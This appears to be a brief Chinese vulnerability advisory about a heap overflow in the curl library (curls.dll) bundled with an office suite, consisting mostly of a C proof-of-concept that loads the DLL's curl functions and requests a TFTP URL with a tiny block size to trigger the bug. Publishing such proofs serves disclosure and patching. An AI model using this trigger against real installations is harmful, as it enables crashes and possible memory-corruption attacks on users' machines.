漏洞公告 | 某办公软件 curls共享库堆溢出漏洞

 HANDLE curldll = GetModuleHandleA("curls.dll");    const char* testftpurl = "tftp://192.168.44.147/test.txt";    typedef CURLcode (myeasycurl)(CURL* data, CURLoption tag,...);    typedef void* curlinit(void);    typedef CURLcode curleasyperform(CURL* data);    typedef void curleasycleanup(CURL* data);    curlinit* myinit;    myeasycurl* mycurl;    curleasyperform* myperform;    curleasycleanup* mycleanup;    mycurl = (myeasycurl*)GetProcAddress((HMODULE)curldll, "curl_easy_setopt");    myinit = (curlinit*)GetProcAddress((HMODULE)curldll, "curl_easy_init");    myperform = (curleasyperform*)GetProcAddress((HMODULE)curldll, "curl_easy_perform");    mycleanup = (curleasycleanup*)GetProcAddress((HMODULE)curldll, "curl_easy_cleanup");    CURL* curl;    CURLcode res;    curl = (CURL*)myinit();    mycurl(curl,CURLOPT_URL,testftpurl);    mycurl(curl, CURLOPT_TFTP_BLKSIZE, 20);    res = myperform(curl);    mycleanup(curl);